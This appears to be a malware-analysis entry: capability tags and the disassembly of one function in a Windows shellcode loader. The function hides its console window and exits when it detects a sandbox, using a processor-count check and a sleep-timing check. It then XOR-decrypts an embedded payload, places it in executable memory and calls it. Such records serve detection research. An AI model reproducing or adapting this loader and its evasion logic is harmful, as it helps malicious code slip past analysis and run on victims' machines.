Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Get system information on windows
Hide graphical window

Disassembly:
push rbp
mov eax, 0x62240
call fcn.140002a00
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x621d0], ecx
mov qword [rbp + 0x621d8], rdx
call fcn.140001a50
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x621a0], rax
mov rax, qword [rbp + 0x621a0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rax, qword [rbp + 0x621d8]
mov rax, qword [rax]
lea rdx, str.app1.apk.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140001546
mov dword [rbp + 0x6219c], 0
lea rax, [rbp + 0x62140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x62160]
mov dword [rbp + 0x62198], eax
cmp dword [rbp + 0x62198], 1
jg 0x14000155a
jmp 0x140001550
mov ecx, 0
call sub.msvcrt.dll_exit
mov ecx, 0
call sub.msvcrt.dll_exit
mov qword [rbp + 0x62190], 0
mov ecx, 0xa3d8042
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x62190], rax
cmp qword [rbp + 0x62190], 0
je 0x14000159a
mov rax, qword [rbp + 0x62190]
mov r8d, 0xa3d8042
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x6218c], eax
mov ecx, 0x3460
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x62188], eax
mov eax, dword [rbp + 0x62188]
sub eax, dword [rbp + 0x6218c]
cmp eax, 0x345f
jg 0x1400015e3
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x62190]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [rbp + 0x62180], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
call rax
mov qword [rbp + 0x62180], rax
cmp qword [rbp + 0x62180], 0
je 0x140001687
lea rax, str.tNegvXnsc
mov rcx, rax
call fcn.140001450
movabs rax, 0x26f5b4bf9
mov qword [rbp + 0x62178], rax
mov qword [rbp + 0x621b8], 0
mov qword [rbp + 0x621b0], 0
mov qword [rbp + 0x621b0], 0
jmp 0x1400016a1
mov ecx, 0
call sub.msvcrt.dll_exit
add qword [rbp + 0x621b8], 1
add qword [rbp + 0x621b0], 1
mov rax, qword [rbp + 0x621b0]
cmp rax, qword [rbp + 0x62178]
jl 0x140001691
mov rax, qword [rbp + 0x621b8]
cmp rax, qword [rbp + 0x62178]
je 0x1400016cb
mov ecx, 0
call sub.msvcrt.dll_exit
lea rax, [rbp + 0x310f0]
lea rdx, [0x14000a018]
mov ecx, 0x31047
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
movabs rax, 0xa2964f20928969d6
movabs rdx, 0xa7954b0d2b3a40ca
mov qword [rbp + 0x31000], rax
mov qword [rbp + 0x31008], rdx
movabs rax, 0xabea9b50d1fd83df
movabs rdx, 0xe8003e20c842a4af
mov qword [rbp + 0x31010], rax
mov qword [rbp + 0x31018], rdx
movabs rax, 0xedaeef5adbc4f84
movabs rdx, 0xfb2bb099c34aa1f2
mov qword [rbp + 0x31020], rax
mov qword [rbp + 0x31028], rdx
movabs rax, 0x6f19e1578758aebd
movabs rdx, 0x8d7032e9912937a6
mov qword [rbp + 0x31030], rax
mov qword [rbp + 0x31038], rdx
movabs rax, 0xbc1a5263788cf634
movabs rdx, 0x6719314eb0c7ca0f
mov qword [rbp + 0x31040], rax
mov qword [rbp + 0x31048], rdx
movabs rax, 0xd8b7f034b3a84427
movabs rdx, 0x779695c33e55b30
mov qword [rbp + 0x31050], rax
mov qword [rbp + 0x31058], rdx
movabs rax, 0xabe5ccc132c18a94
movabs rdx, 0x981f73ef15673c4f
mov qword [rbp + 0x31060], rax
mov qword [rbp + 0x31068], rdx
movabs rax, 0x3e1eb05fed62467
movabs rdx, 0xd440a1f3688801df
mov qword [rbp + 0x31070], rax
mov qword [rbp + 0x31078], rdx
movabs rax, 0x76ee3e055e77b8f8
movabs rdx, 0x3599e98ed5006165
mov qword [rbp + 0x31080], rax
mov qword [rbp + 0x31088], rdx
movabs rax, 0x24df121fbe5cbede
movabs rdx, 0x6b2f96261b7ded96
mov qword [rbp + 0x31090], rax
mov qword [rbp + 0x31098], rdx
movabs rax, 0x94b90ef9708b81d7
movabs rdx, 0x41995bbe9aa4e2ac
mov qword [rbp + 0x310a0], rax
mov qword [rbp + 0x310a8], rdx
movabs rax, 0xa907556df75c4a2b
movabs rdx, 0x2ab904e2f69376b1
mov qword [rbp + 0x310b0], rax
mov qword [rbp + 0x310b8], rdx
movabs rax, 0xe8f76b1681ffcc5c
movabs rdx, 0x3379aed7a2944dfd
mov qword [rbp + 0x310c0], rax
mov qword [rbp + 0x310c8], rdx
movabs rax, 0xf073ab13a7e3e146
movabs rdx, 0x95586246be59295a
mov qword [rbp + 0x310d0], rax
mov qword [rbp + 0x310d8], rdx
mov dword [rbp + 0x310df], 0x78ba95
mov dword [rbp + 0x621ac], 0
mov dword [rbp + 0x621a8], 0
jmp 0x140001937
cmp dword [rbp + 0x621ac], 0xe2
jne 0x1400018fb
mov dword [rbp + 0x621ac], 0
mov eax, dword [rbp + 0x621a8]
cdqe
movzx edx, byte [rbp + rax + 0x310f0]
mov eax, dword [rbp + 0x621ac]
cdqe
movzx eax, byte [rbp + rax + 0x31000]
xor edx, eax
mov eax, dword [rbp + 0x621a8]
cdqe
mov byte [rbp + rax - 0x50], dl
add dword [rbp + 0x621ac], 1
add dword [rbp + 0x621a8], 1
mov eax, dword [rbp + 0x621a8]
cmp eax, 0x31046
jbe 0x1400018e5
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x31047
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x62170], rax
mov rax, qword [rbp + 0x62170]
mov rcx, rax
lea rax, [rbp - 0x50]
mov edx, 0x31047
mov r8, rdx
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp + 0x62170]
call rax
mov eax, 0
add rsp, 0x62240
pop rbp
ret